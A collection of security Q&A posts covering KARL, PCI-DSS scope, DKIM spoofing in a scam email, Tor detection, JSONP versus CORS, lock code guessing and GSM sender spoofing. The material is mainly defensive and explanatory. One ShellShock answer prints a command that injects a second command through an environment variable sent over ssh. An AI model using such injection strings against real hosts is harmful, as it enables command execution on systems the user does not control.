Example: I'm sending this image from one VM to the other

And here is the captured image:

The image is always cut off at the same place no matter how often I do it.

I believe Driftnet has implementation limitations which keep it from re-assembling the entire image sequence of packets.  It detects the first packet containing what it recognizes as an image header, but doesn't follow the entire stream of packets to completely capture the image.

There is most likely a fixed-size buffer, or max count of data packets per image.  Is it the same relative percentage of all images, or does a smaller image (smaller in total size then the size of the truncated flower image) pass through completely?


OpenBSD is implementing KARL. How does this improve security? According to this article, OpenBSD is implementing a feature that will create a unique kernel every time a user reboots or upgrades his computer.

It is called KARL, "Kernel Address Randomized Link". This works by relinking internal kernel files in a random order so that it generates a unique kernel binary blob every time.

The technical explanation says;

  A unique kernel is linked such that the startup assembly code is kept in the same place, followed by randomly-sized gapping, followed by all the other .o files randomly re-organized. As a result the distances between functions and variables are entirely new.  An info leak of a pointer will not disclose other pointers or objects. This may also help reduce gadgets on variable-sized architectures, because polymorphism in the instruction stream is damaged by nested offsets changing.

How does this improve security?
What type of attacks would be mitigated by this new feature?
How is this different from Kernel Address Space Layout Randomization?

From what I understand, this is a step beyond KASLR. For memory location inferences at a finer granularity than what KASLR protects.

With KASLR, you make it harder for ROP gadgets to overwrite (e.g., heap spray) areas of memory that will eventually yield control to injected/known code. However, this being an arms race, counter moves such as JIT spray have evolved.

  An info leak of a pointer will not disclose other pointers or
  objects.

As with ASLR which randomizes and hence makes it harder to "find" userland function entry points to tamper, and KASLR doing the same thing - both are still vulnerable - if an attacker can

study the way the kernel components are linked and loaded into memory relative to each other
then "find one point of reference" (in this case, by an info leak of a pointer") and then
apply the earlier knowledge to infer the locations of other sensitive objects / functions that could be targeted by gadgets.

  How does this improve security?

Apparently, KARL makes this inference much harder because you'll need to study (1) afresh after every reboot. This raises the cost of exploitation significantly (except in a situation where attacker doesn't even need to reboot even as they mess with kernel in a largely hit and miss technique) - and thus makes the OS more secure.

  What type of attacks would be mitigated by this new feature?

Gadgets that depend on inferring kernel object locations based on a separately "knowledge of" a point of reference.

  How is this different from Kernel Address Space Layout Randomization?

This is an additional defense on top of KASLR. To defend against use of gadgets that work at a finer granularity that what KASLR defends against.


Is PCI-DSS Compliance Required with PayPal Donate/Payment Buttons on Websites? Reading about PCI-DSS 3 recently:
Would like confirmation what I am interpreting here - you need PCI-DSS SAQ-A to have credit card associated payment or donation URL links on a merchant's website?

For example:
If a business or charity operated their webpage with a PayPal standard donate button on it for donation with a linking to PayPal accepting credit cards, does their webpage have to be PCI-DSS compliant or not?

I am confused but whether or not falls under SAQ-A, where it defines URL link redirects.

VISA doesn't seem to include this scenario in their PCI-DSS guide: https://www.visaeurope.com/media/images/processing%20e-commerce%20payments%20guide-73-17337.pdf

If having links requires PCI-DSS compliance, this is quite prohibitive for some charity organizations I know - hosting and maintaining a website which is PCI-DSS compliant may be too complex and costly for them to upkeep.

As a side-note, if a the presence of a credit card accepting PayPal button means the merchant website has to be PCI-DSS compliant, placing a link on a merchant's own site may not be any less secure than sharing it on social media (Facebook, Twitter) or other sharing platforms (Twitch, bulletin boards/forums)? Does this affect direct URL links to a PayPal credit card payment page from a merchant's social media page?

My lesson to be learned may be to be more careful with credit card payment forms.

I have checked other similar questions but they do not address the use of the PayPal buttons. A similar situation would be using Razoo.

Edit:
After some more reading, the merchant needs to pay attention to PCI-DSS compliance. The practical starting point for self-assessment would still be SAQ A for all intents and purposes. PayPal's public documentation is lacking, but I've found some recommendations from Recurly: https://docs.recurly.com/pci-dss-compliance

  A merchant must always be PCI compliant if they accept credit card payments online (even if the card is entered on another site). If using HPP, Recurly’s recommendation is to complete SAQ A.
  (HPP - hosted payment pages)

The merchant or charity who accepts only PayPal, and uses a mechanism that redirects the customer/donor to PayPal's site does not handle the credit card at all.  PayPal does that, takes a fee for the service, and remits the rest to the merchant.

So, PayPal has to comply with PCI-DSS, but the merchant who uses only PayPal and does so with redirection to PayPal does not.  The merchant's bank may require them to complete Self Assessment Questionnaire A.  That is applicable as follows "SAQ A merchants may be either e-commerce or mail/telephone-order merchants (card-not-present), and do not store, process, or transmit any cardholder data in electronic format on their systems or premises."  Completing it will mostly require checking "Not Applicable."


Facebook's malware solution Facebook didn't let me login today until I downloaded a portable Kaspersky scanner. I trust it and all, but the fact that Facebook said I had malware on my PC was weird. How can a webapp figure that out?

More importantly, it said the malware was posting stuff through facebook or whatever. Is this like the hack where the infected host posts like the ray ban sunglasses thing like this? http://www.welivesecurity.com/wp-content/uploads/2016/04/1.png

What if this is a load of BS that is merely installing google's tracking onto my PC? (probably not)

Edit: I'm really not trusting this, so I ended the process in task manager. Here's what came up: http://prntscr.com/cvl47l

Your IP was most likely flagged by Facebook as an account that was proliferating malicious posts (done via the malware on your computer).  Thus while they cant detect the malware outright they can detect that your IP has generated malicious traffic recently and redirect you accordingly.

Its like seeing a bunch of smoke down the road and calling the fire dpt before actually seeing the fire.  Given enough smoke you can be pretty sure that there will be fire.


I may have given a check to a scam organization is my account at risk Can someone take money from my account with a check that has my routing number and my account number on it?  I STUPIDLY gave a check to a "charity" organization that I cannot find on line and when I call then number there is a disconnection notice.  Can they steal my money?

Yes they can. I would contact your bank immediately and have them put a hold on your account or have your account number changed. You could also try filing a police report but its usually next to impossible for them to arrest anyone. Just a FYI for next time:

Find out if they are a legally registered charity. If your unsure, do a search for them on Google or Bing.
Especially avoid charities that contact you 24x7 and tell you some BS story. If they continue to bother you, most countries require that they remove your information so they can't contact you anymore (if they don't then obviously they are a fake)
Avoid contact via email especially and avoid giving them more information then what they already have.
There is a good list of tips at http://www.ic3.gov/media/2011/110311.aspx


Why does DKIM verification succeed with a signature from Yahoo when all headers are spoofed to look like GMail? Today I got a scam e-mail which I decided to disect.  I quickly found that it was sent from a GMail address (From, Reply-To, Return-Path) but that the mail itself came from Yahoo.

HELO from Yahoo
Received from IP maps both forward and reverse
Mail has valid DKIM signature for yahoo.com
Mail soft-fails GMail SPF because a Yahoo-owned IP is not part of it

I've piped the mail through opendkim-testmsg, which tells me the message is fine.

I'm really confused by all of this.  Of course anyone can technically sign any email using DKIM for their own domain, even if it doesn't match any of the domains used in the mail.  But why would Yahoo do this?  And why doesn't OpenDKIM indicate that there's something phishy about this mail, even though the Return-Path domain and the DKIM domain don't match?

By popular request, some e-mail headers.  Please note that this e-mail has been through a corporate mail washing service, Exchange and I stripped a lot of identifying data.  The DKIM signature for the header portion still matches, though.  I've omitted the body, but it also validates.

Received-SPF: softfail (MYMX: transitioning domain of gmail.com does not designate 87.248.110.97 as permitted sender) client-ip=87.248.110.97; envelope-from=helenslomonn@gmail.com; helo=sonic302-34.consmr.mail.ir2.yahoo.com;
Received: from sonic302-34.consmr.mail.ir2.yahoo.com ([87.248.110.97])
    by MYMX with esmtps (TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128)
    (envelope-from <helenslomonn@gmail.com>)
    for MYNAME@MYDOMAIN; Wed, 28 Feb 2018 05:03:02 -0800
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s2048; t=1519822976; bh=35/Syp7oOntp7GfGR2tdK316KBE4uAxZC5lOM//DYjg=; h=Date:From:Reply-To:Subject:References:From:Subject; b=KvnuAmNY1sujXiLsVnNqOJzF3MFxu/jY93zu5QKtbWRy9nMOhomUrZ+398oRwLC0P0RAkCbOj5a2x5JZtrZG4/71RKmHD/ftzOJI2goX2A4KaWrsczH4RsR/kfvpmz0jNRF4nxZONN4a5NKLavt6WPG7yWokVrGh2n/zUZPiFFv8kZL0uNPdIyCC94OiBh0c6GlSRpmTe0GbTQmbDgXZ+8nf7O5kiWpALbpSBHJ22QmdFhLLQWS18xZhl/AwprHFV+txsWtat02ldjYUmoGKhXNmTcWHDLPw7n5uyKXwsaOuX1uXSLzaWUgpnrD/v/FonebJoo1qkcnZoziov6TJmw==
X-YMail-OSG: dOZOfQ0VM1lyzg2OUT1yoveGRURYm6FHV_CU8qWTCRbr8jkKD_gBSwprVT5nSNr
 oxL32bI8ge8m_n_BDyDXFKnfZTDdFMGUPxFQt8bl2TLbWIC72.HGgEg6S8trxoSkeYLsPM8tUIhL
 XPCdlp3sNlz4quLJyyJznVo55S3vYeLt5fYSOqw2kJtOvf3l.puohOlVCc5WBZO1lp82MLbBi0rq
 0tCsbA3xDFW8_3JsxoJGinZ8fn0BBoqUfkfFdGv7UyoM94wlv4_GWYAQwIzicSQsC5od.fBm1lM_
 zSZlsV9hfeDUkwDyQiAmFq5rCUJ.3N7Lu9IKZTwnKjWvRFNudXOkEEJwW7Dg0eRNCBx.N2c.52Bi
 dfwYepO_0jqL.vF19srHCbj6PrUQjFYiIzaauD.m9IdfE692oG6o9B.w20VkMLmTcxjBKg7NC1pk
 6mWavSA7yHndoNrMfcB.liBw3XSLggRvPH60M
Received: from sonic.gate.mail.ne1.yahoo.com by sonic302.consmr.mail.ir2.yahoo.com with HTTP; Wed, 28 Feb 2018 13:02:56 +0000
Date: Wed, 28 Feb 2018 13:02:52 +0000 (UTC)
From: hs <helenslomonn@gmail.com>
Reply-To: hs <helensslomonn@gmail.com>
Message-ID: <909434698.11100734.1519822972957@mail.yahoo.com>
Subject: MRS.HELEN SOLOMON FUNDS TRANSFER ASSISTANCE.
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
References: <909434698.11100734.1519822972957.ref@mail.yahoo.com>
To: Undisclosed recipients:;
Return-Path: helenslomonn@gmail.com
MIME-Version: 1.0

Can't be sure without seeing the headers, but my guess is that from/reply-to/return-path are all spoofed and just handed in by the attacker as part of the SMTP transaction. As you said, the HELO is from yahoo, and it is yahoo which signed it. Yahoo isn't attesting to the value(s) of any of the headers in the transaction, just that it was injected into a yahoo server, which then dutifully DKIM-signed it, on behalf of yahoo, and off it went.

As to why OpenDKIM doesn't indicate phishy-ness when Return-Path and DKIM domain don't match, that would be a question/bug-report for the OpenDKIM folks to answer. Again, my guess is that it's only checking the domain of the MTA sender, against the DKIM signature, which will match.

I agree that seems to be a bug.


Is there a way of determining if tor is running on a remote machine? In most of the companies, IT guys block some sites and by using TOR or other VPNs people walk around these blocks and gain access to blocked content.

My question is, assuming TOR is running on default set up (downloaded Tor Browser and hit run) is there a way to catch this? Could there be a default port that can be cought by nmap?

I tried to google -and will keep on googleing-... anybody with an idea?

-if i find a way, I will also post it-

Tor in its default installation only opens the SocksPost locally. There are no ports which are listening at some network interface. So from looking at a remote machine you can't find out if a person uses Tor or not.

However when you're looking at the machine's network traffic you are able to see more. If the user has Tor running there is a connection to some relay. It is easy to find out all addresses of running relays and look if the user connects to one of those.

I think it is the wrong approach to consider them naughty. There are many reasons why using Tor is a good idea.


How do DoS attacks work on non-servers? I understand how DoS/DDoS attacks work on servers. If I have not been misled, it is possible to DoS/DDoS a system that does not act as a server, but is still connected to the internet. How is this possible, as normal computers don't take data requests?

You can saturate a computer's incoming network connection by just flooding it with packets. Even if every incoming packet bounces off the firewall or off a closed port (no process listening on that protocol+port on that interface), the bits are still being sent; legitimate traffic will need to compete for time on the wire. Even if you can't actually cause a crash or consume excessive resources on the gateway, NIC, or computer's network driver and related kernel components, you can slow downloads for that machine to a crawl if you blast enough packets at it. No need for the PC to reply (which would be required to complete a TCP handshake); you can send a packet to anybody.

This is a very brute-force approach, though. An equivalent in the real world might be to prevent people from going to a store by hiring a bunch of people to form a long line at the door, each one stepping away and getting back in line as they reach the door. Some legitimate shoppers may also reach the door, but most won't... or at least, it would take too long for most of them to bother waiting that long. Since home connections are usually capable of much faster downloads than uploads, it takes a lot of people working together to saturate the download connection if the attack is coming from people on home Internet.

You may also find that even supposedly client-only computers often listen for some traffic from the Internet. Incoming requests will usually be blocked by network address translation, but machines connected to the Internet directly (or in the gateway's DMZ) would be reachable. The gateway itself may also listen for remote connections. On Windows, check Resource Monitor (resmon.exe), "Network" tab, "Listening Ports" view. You may see quite a few processes listening on external (i.e. non-loopback) interfaces, and also permitted through the firewall.


Potential consequences of signing software that's not mine I want to teach my son to not click unsigned software. Unfortunately there some software that's highly useful (e.g. Search Everything, but it could be any other software) that's not digitally signed.

Since I own a code signing certificate, I could sign the executable myself. This would change the UAC dialog to look "secure". While I'd apply such a change locally on my and my sons computers only, what could be the impact if this modified software leaves my PC and becomes available in the Internet?

First of all I'd be very careful in declaring all signed software as save since malware with valid signatures already exist and you can expect that the amount of signed malware will increase.

Second, there's a pretty good answer for this question here.

I want to add that a possible solution for your scenario would be creating and installing an own root certificate. This would save you from any trouble if you accidentally sign malware.


How does the ShellShock exploit work over OpenSSH? The three options listed in the CERT release (AcceptEnv TERM and SSH_ORIGINAL_COMMAND) are all server-side options. If none of these are set on a host (and no http vector is available) is the host secure, even if Bash remains unfixed? If I set AcceptEnv=HACK on the openssh server, shouldn't this work?

HACK='() { :;}; /usr/bin/touch /tmp/illegal' ssh user@host

You should be safe from ssh side, but there are other vectors as well, like dhclient-script.

By the way, you are only really "vulnerable" through SSH if you have users with restricted access (e.g. chroot or sftp-only). If all your users have full shell access, then even though they may run commands using this exploit, they could do that anyway.


PCI Scope, Tokens, and Processor APIs A merchant receives a processor provided payment token in response to an authorization from an online order (for the sake of this question assume this part of the process has all its PCI t-s crossed and i-s dotted).  Next the order is processed by an Order Management System (OMS), which is in a non-PCI network segment. The OMS will reach out to the processor directly through internet-accessible APIs to perform captures, auth-reversals, etc. according to its business process flows.  These API calls are using the token received from the processor in the original auth.  Is the OMS system and its network in PCI scope because it is reaching out directly (no proxies) to the processor's APIs?

Is the OMS system and its network in PCI scope because it is reaching
  out directly (no proxies) to the processor's APIs?

No, it is not in scope.  The processor will be using a combination of network firewalls, application security firewalls, and restricted APIs to provide segmentation between their PCI-scoped network and you, the consumer of their services.  Segmentation is what limits the spread of PCI scope.

That is, of course, assuming the processor is PCI compliant... Page 12 and section 12.8 of PCI DSS 3.1 lays out that you are responsible for vetting the compliance of providers that process on your behalf:

  A service provider or merchant may use a third-party service provider
  to store, process, or transmit cardholder data on their behalf, or to
  manage components such as routers, firewalls, databases, physical
  security, and/or servers. If so, there may be an impact on the
  security of the cardholder data environment.

  ...

  Additionally, merchants and service providers must manage and monitor
  the PCI DSS compliance of all associated third-party service providers
  with access to cardholder data. Refer to Requirement 12.8 in this
  document for details.

Validating your processor - In general, the flow in PCI is documentation upwards, certification downwards.  Assuming your processor is a Level 1 Service Provider*, they must be listed at Visa's Service Provider listing or MasterCard Compliant Service Provider list.  Looking the provider up is the preferred method of validating their compliance, as it goes to the gated central authority which makes timely updates (e.g., revocation). They will also provide you with a copy of their AoC upon request, which is a short document from the auditor saying "We came, we audited, we found them compliant (and that finding is point in time only!)".  No details in the AoC.

They will effectively never share their RoC with you - they are not required to, and it contains information they don't want disseminated.  I believe I have seen ASV scans shared with a merchant on an exceptional basis, but that's certainly not normal practice, and I would expect most processors to decline to do so under ordinary circumstances.

On the other hand, everything the merchant has - ROC/SAQ, ASV scans, AOC - must be made available to the processor (and the acquiring bank, and the card brands...) upon request.  It's an asymmetric relationship.

If you read through the subsections of 18.2, you'll see that it basically says "You must know who you're in a relationship with, what PCI-related data is exchanged in the relationship, and verify that their validation is up-to-date."  You are not expected (...or allowed...) to see the data used to conclude that they are validated.

So - circling back to your specific question - you are not expected to receive data from your processor which proves that their configuration properly limits PCI scope.  The fact that they were validated (by an audit, for Level 1s) is proof that they are properly containing the flow of cardholder data.

(Actually, it's more nuanced than that.  They may have two service offerings - one that uses tokenization and other magic to limit your scope, and another in which you transmit and store CHD yourself.  Both can be provided in a PCI-compliant manner... it's your responsibility to know the difference.  If you choose the offering where you get to see the CHD, it's your SAQ or RoC which must reflect that fact.  If you say you're using tokenization but use the other offering, you're out of compliance.  Your auditor or whoever reads your SAQ is, in part, going to review your assertions and ask for evidence - show them you have tokens; show them you don't have cards.)

.* A Level 2 Service Provider may SAQ and therefore not be listed.  I've no idea how they prove their compliance to merchants, unless they share their SAQ, even if only to your auditor.  The QSAs I've talked to tend to dismiss Level 2 Service Providers and I'm sure being in a relationship with one would open your organization to more audit scrutiny than might otherwise be the case.


How to prevent JSONP injection? Recently, I came across many web applications that are using callback parameters to retrieve JSON formatted data. This makes web application vulnerable to JSONP injection attacks.

What is the effective way to prevent JSONP injection? Can the callback parameter be validated at server side? Should the callback request also be validated by CORS?

Don't use JSONP at all - use CORS.

JSONP is obsolete and has always been more of a hack fill-in than a thought-out technology for resource sharing. The modern and widely supported alternative is CORS (Cross-Origin Resource Sharing). You will most certainly be able to replace all your JSONP use cases with it.

With CORS, you don't need to wrap your JSON in a callback function anymore (e.g. cb({"foo": "bar"})), but keep it as is. Instead, you send an Access-Control-Allow-Origin header to indicate to the browser which origins you want to give access. Since every CORS-capable browser sends an Origin header in their cross-origin requests, you can produce the ACAO header dynamically, depending on where the request came from. Once permitted, the client will be able to read the response content, no matter what content type. So you can just use send regular JSON.

Sample cross-origin request from supplicant.example to a JSON API at server.example:

GET /foo.json HTTP/1.1
Host: server.example
...
Origin: https://supplicant.example
...

Sample response:

HTTP/1.1 200 OK
....
Access-Control-Allow-Origin: https://supplicant.example
Content-Type: application/json
...

{"foo": "bar"}

Not only does CORS provide better security over JSONP, but it gives you the ability to work with arbitrary HTTP methods (PUT, DELETE, etc.), you can give access to particular headers, and much more. Mozilla has an excellent introduction to what CORS can do.


Electronic security lock code length I am debating with a friend about the security of a building lock that uses four user-selected digits as input. His argument is that it's enough physical security to deny someone access long enough for the people inside to take whatever action they want. I argue that because there are about 200 people who have access to the building, and they all set their own codes, probably dates of some kind, entering a few random numbers will open the door quickly enough. There is no lockout mechanism on this door.

What is the correct way to analyze this problem?

A four-digit code has 10,000 possible values.  If the users are picking their codes randomly, then the birthday paradox says that it's virtually certain that some of them have the same code.

But assume there are no duplicates.  This generates the second-best-case scenario for an attacker: any given code has a 200 in 10000 chance of being correct, or 2%.  After about 34 tries, there's a 50% chance of having gotten in.

The best-case scenario for an attacker is that users pick memorable codes.  In this case, punching in "1234", "9876", and "5555" is virtually certain to open the lock.


Using EncFS on a USB drive I am using EncFS with a USB drive.  How secure is this if my USB drive gets stolen?  I ask because the .encfs6.xml file is saved in the USB drive and I can open it with a normal text editor.  Do I need to be concerned that the .encfs6.xml can easily be opened with a text editor if the USB drive is stolen?

In addition to clear-text configuration settings, the EncFS configuration file also contains the volume key, but that key is encrypted with the master key, which is derived from your password.

In other words, it is not possible to decrypt anything without the password.


Authenticate Static Public Keys How can a static ECC public key be authenticated when being shared between the client (who has just created the static ECC public key) and the CA (Certification Authority) - who will sign and send the client's static public key to another node in the network??

Background context:
The client and another node will both generate ephemeral ECC keys for a ECDHE key exchange. The ephemeral ECC public keys will be signed with the static ECC keys to prove the authenticity of the ephemeral ECC keys. But when the static ECC keys are generated and sent to the CA, how can their authenticity be proven??

If I understand you correctly you want to make sure, that the CA can verify that a public key submitted from some party actually belongs to this claimed party, i.e. it wants to be sure of the submitter's identity. This is not possible without having already some kind of direct or indirect trust relationship between CA and the party and your question does not provide any clue of what this trust relationship in your specific case might be.
Some examples:

The party might give the key directly to the CA and show some kind of identity (passport, driver license...) which is considered a trusted identity by the CA because it was issued by a trusted instance (government or similar).
The party might claim to be a specific name living at a specific address and the certificate (which is the signed key and additional information) should include such information. In this case the CA might send a letter to the given name and address and the party must prove that it received this letter (by providing its secret contents). In this case the CA would trust the postal service to deliver this letter only to the given address.
The party might claim an identity associated with a specific domain name. In this case the CA might ask the party to prove ownership of the domain, for example by being able to receive mail for this domain (similar to the previous case, but electronic letter) or by being able to provide a specific content at a URL from this domain. In this case the CA trusts the domain name system (DNS). This kind of method is for example used for domain validated certificates.

Apart from that the party commonly proves not only that it has a specific identity but that it actually owns the specific public key. This is done by signing the key (and usually additional information) with the associated private key. This is for example done within a certificate signing request (CSR).


Displaying info of saved Credit Card in an Application Secured? I've been trying to look for an answer to this question but this isn't clearing me.

Is it safe for an application to display the credit card number and expiry of a saved credit card.
For eg, I logged into an app and saved a credit card. Now for later purchases, I selected this saved card. So is it fine if it displays the credit card 16 digit number and its expiry? Is it PCI compliant?

The general recommendation is for the server to send back and display the last 4 digits. Reasons :

If someone compromised your account, they would still not get your credit card info.
If someone was shoulder surfing, they wouldn't get your credit card info.


Adding a SSL builds trust with technical clients? Please note: A majority of this question is based on the facts that a lot of my members and I are one step from being tin-foil hats. If you continue to read and answer this question, please remember this.

I help run a community forums where we talk about technology news, progress being made, and overall how to try to improve the web from programming better to security standards. I have officially purchased a SSL Certificate to make myself, my staff, and some users happier with feeling like with prying eyes, we can be more secure by visiting the forums.

By forcing all members, and connections throughout the website to use https:// instead of http://, we have a sense of things are a little more better for the recent leaks of Edward Snowden and the issues which have arisen from that -- plus some with Net Neutrality.

By adding this SSL Certificate, can that help build trust that your site is more secure, with less prying eyes, and our users are technical users are trusting us more that we are doing the right thing.

Does adding a SSL Certificate help build trust with the people who are worried about security?

An SSL Certificate provides three things:

confidentiality
integrity
authentication

However it only provides these three things to the connection between client and server. Does this make your website more secure? Yes and no.

It ensures as you say that prying eyes will not be able to sniff username and password when this data is in transit between client and server.

However SSL does not provide any guarantee on the way you coded your application, manage your server, handle confidential data or grant and distribute privileged access. Security is much more than just adding SSL certificates to a website. It is parth of the solution, but not the complete one. Security has to be performed in depth.

TLDR;

So can it help build trust? Well the user will know his username and password can't be sniffed, but if your application is coded badly and you use admin:admin as server login then there are other, easier attack vectors which attackers may abuse to gain access to your user's data. But most of all this will largely depend on the awareness of the user.


Can I re-use another vendor's dual factor token in my own system? (Avoid physical token bloat) I read the open source multifactor authentication techniques called HOTP RFC 4226 and TOTP RFC 6238 and realized that a single random number is the basis for the token's cryptography... and that this number must be made secret or the multi-factor benefit is broken.

I also noticed that some of my users are using a YubiKey, an RSA Key, and a Gemalto key for Banking, VPN service, and Amazon web services respectively.

I would like to offer multi-factor authentication, but want to avoid physical token bloat for the end user. (Them carrying too many tokens)

Question

What information would I need to reuse an existing YubiKey, RSA, or Gemalto (or any other) in my own system?

I suppose the user will need to give me the serial number (so I can derive the key material) and I will need to determine the crypto algorithm for each key.

You probably don't want to go about doing it that way, as that could seriously compromise the keys of these things. With the information you would then have, your user's bank account is now more at risk because an attacker just needs to break your system, instead of the bank or a hardened security token.

Your biggest problem is likely going to be the fact that for tokens using event-based HOTP or related protocols, you have to keep the expected values in sync across systems you don't necessarily have any control over. Otherwise you run the risk of locking the user out of their bank.

Also, normally you need more than the serial number. There are seeds or IV's that are used to initially start the sequence, and are designed to not be read from the token.


Question about potential ISO infection and ISO verification I was downloading a ISO file from Ubuntu and was just curious on some security questions concerning this process and after the download process. If I'm downloading a file can my file be infected while it's downloading? For example if someone else it browsing on a malicious site on my network and some malicious code spreads throughout my network, can a virus/malware infect my download? Lastly after my download is finished if I confirm the iso hashes and verify the hash files with their gpg key does this guarantee that my download was not infected whatsoever. If a virus did infect my download while it was downloading or if I downloaded from a malicious or unofficial link would the hases be different? This may be a stupid and paranoid heavy question but it just crossed my mind so I'd though I'd ask. Thanks!

No, a virus cannot infect your file while downloading.

The GPG key means that the ISO is as intended. There is a chance that the ISO was infected and Unbutu didn't know.

Yes, the hashes would be different. That's why they are used.


Ways to protect private data from other applications I installed What methods can I use to protect certain important and private data like my ssh keys from other applications I might install?

Is there anyway to block access to these files and restrict the access of other applications? I am concerned about the case where the application may copy some of my data and send it back to the software author.

What protection methods and steps can I take to isolate an application or restrict its access - or is is necessary to have some type of full audit for any software I want to use since you can't just "trust" software from the Internet, even if it comes from a trusted website.

How to be sure such things not happen? If that tool does not require internet connection, then maybe block all ports for that tool with firewall? Probably configure firewall to block all ports by default.

But if that tool needs internet connection, not sure about the example now.

Or am I too paranoid and I should assume that tools are safe, unless there are some news about the tool that it was stealing data? So just do quick google search about it?

Unless you have the technical ability to audit it you can't trust random code from the Internet. All you can ever have to go on is the reputation of that softwares authors amongst other users and the verification methods offered by the authors to show the binary is actually produced by them (hash, signatures, SSL certificates for transport etc).

If you do not trust either the authors or the method by which the binary found its way onto your machine then you should assume it is malicious.

As you implied there are ways to sandbox code. For example - you talk about your.ssh directory. You can run the tool under another user account that has restricted priveledges and no read access to any valid ssh keys (you should have your Web server running under a restricted user account as it is!). You can then audit any output files from the tool before using them from the production account.

How paranoid you should be depends on what is at risk. If this is a production server for an Alexa 100 site or a bank then you shouldn't even consider running code without verifying what it does first. If this is a dev test VM firewalled from your internal networking that you don't care if you have to reimage then you can be a bit less careful.


Email pwned versus password not pwned A while ago my email had been pwned, I changed the password. Now since the January's massive breach I checked again and my email is found to be pwned, however the password I had then change to, isn't found when searching for in the list of pwned passwords. Does that mean my email wasn't pwned a second time just the the first time? It looks to me that the list of pwned emails is accumulative of all breaches or is there a was to search in a specific breach database?

The site tells you which specific breaches it found your email address in. There are a few reasons a given breach might expose your email but not the corresponding password:

The breach might not have contained passwords at all. E.g. spam lists.
The breach might not have contained passwords for all the accounts it had, maybe because:

it comes from multiple sources
the person submitting the leak to HIBP didn't have access to the whole list/is holding onto some of the list
or the source protected some passwords better than others (e.g. Ashley Madison)
some passwords were just too strong to crack the hash.


Encrypt User specific Information without a password Given scenario:
I have an application (NodeJS) running on Heroku, the database is RDS on Amazon and I use Auth0 for authentication. I don't have access to passwords of the users, some users use social media logins.

The problem:
The application has to store API keys from third-party platforms provided by the user and of course I want to prevent at all costs that anyone will ever have access to these data (with the keys, transactions ($) could be executed directly on other platforms!).

How do I encrypt the data when I don't have access to the user's password at any time?

The cases to secure I can think of:

Someone has access to my Heroku Account
Someone has access to my Auth0 Admin Account
Someone steals my database (e.g. by having access to the Heroku environment variable)

Can I securely save and access (while the user is logged in) the users API keys with my database?

It is okay for me, or even good, if I don't have access to the encrypted keys anytime.  But I need them stored on my side in a persistent way. Its okay for me if the access is only possible when the user has an active session (by that I am giving up the possibility to perform any background tasks, but I do want to put security first and accept the negative impact on UX). I don't want to add another password for the API keys per user.

The solution can be on my end or using Auth0 or something like AWS Key Management Service, I have already done research but to me, it is still too blurry to say anything specific.

Protecting from someone getting the database contents is easy: Use a key (password) know to your application to encrypt the db records (a single key common to all users). That way, if someone stole just the db, the encrypted values would be without the key that is stored locally in the app node.

If the user would always be using the same browser, I would recommend to simply store the per-user "password" in a cookie¹ However, you may not be able to rely on that, and with such setup a user on a new browser would need to authenticate again producing new API keys (you will define if that's considered acceptable or not).

If the only thing you know is the identity, I think that you have no other course than using that for the encryption. I'm not familiar with the way Auth0 works, but it must be giving you some kind of user identifier (eg. an internal id or an email address) that is validated.

In that case you could eg. search the relevant database entry by looking for a record with the primary key being HMAC("foo", ), and decrypt the parameters with HMAC("bar", ), "foo" and "bar" being different secrets kept by your Heroku application.

Thus, only when knowing a user-id can the record be found and the secrets decrypted. This is not specially secure if someone got hold of both the database and the App², could try different identities, as emails are generally public (eg. I would begin by trying your email address). But still that requires testing users that could be there (from email lists gained from elsewhere, bruteforcing possible emails...).

¹ actually, localStorage / indexedDB would probably fit better.

² only one of them would not allow them to access any contents


How does Google Chrome's JS Crypto RNG Work? According to caniuse, Google Chrome has support for crypto.getRandomValues() for (presumably/hopefully) generating cryptographically secure random values. How is this implemented?

As there have been many issues with popular crypto libraries using their own homebrew RNGs, I'd like to know how much trust I can grant to this CSPRG.

On POSIX, Google Chrome does in fact use /dev/urandom:

class URandomFd {
    public:
        URandomFd() : fd_(open("/dev/urandom", O_RDONLY)) {
            DCHECK_GE(fd_, 0) << "Cannot open /dev/urandom: " << errno;
        }

    ~URandomFd() { close(fd_); }

    int fd() const { return fd_; }

    private:
        const int fd_;
};

// ...

void RandBytes(void* output, size_t output_length) {
    const int urandom_fd = g_urandom_fd.Pointer()->fd();
    const bool success =
        ReadFromFD(urandom_fd, static_cast<char*>(output), output_length);
    CHECK(success);
}


Will setting a password for a linux login increase security? I created a user that I use to login with using an SSL Key.  I have not set a password.

To be clear it is not an empty password, but an unset one.  The /etc/shawdow has a single exclamation point where the password would normally be and I have checked that entering a password instead of using the private key does not log in.

Would setting a high length, properly randomized password that I discard be a better method?

Right now, there are zero passwords that will work if an attacker randomly guesses it. If you set a password, there is at least one that works if an attacker randomly guesses it. This is infinity percent more likely to happen (still very, very unlikely, but it is a nonzero chance compared to the literally zero chance it'll happen with no password), so your system is less secure with password login enabled for that user.

There are cases where passwords are useful: for instance, if you log in via an SSH key, but want to be able to run sudo, it's best to have a password protecting sudo, because that means that someone who somehow obtains your SSH private key can't log in to the server and run sudo. Likewise, you might in theory set it up so you need a key and password to log in, and not store the password anywhere but in your head, though it's more common to just encrypt the private key with a passphrase and enter that passphrase every time you want to use the key, which achieves essentially the same goal.

But what these have in common is that there are situations where you need to use the password. Adding another authentication system that you never use cannot improve security, because the only way an authentication system provides security is by requiring you to authenticate with it. If you never use it (because you threw away the password after making it), then an attacker doesn't have to either, so they can apply the same attack they'd use if the system wasn't enabled. If an attacker does use it, it's because it's an easier attack than the one they'd use if it was disabled, so it's decreased security.


What governing body is responsible for the use of GSM SMS alphanumeric SenderID's? Currently, I am writing a paper about GSM sender spoofing and how this flaw is possible with the use of different techniques and attack pattern in the GSM 2G implementation both technically and operationally. The topic is specifically concentrated with spoofing alone and does not include any other GSM 2G related vulnerabilities most likely including interception.

My understanding is that SMS in general from the GSM 2G implementation has two (2) types, MT (outgoing) and MO (incoming). Both supports these forms: text mode and PDU mode, ETSI standards GSM 03.401 and 03.382. The PDU mode supports the crafting of the message, including the sender number in decimal semi-octets and passing it to the carrier via GSM AT command set.

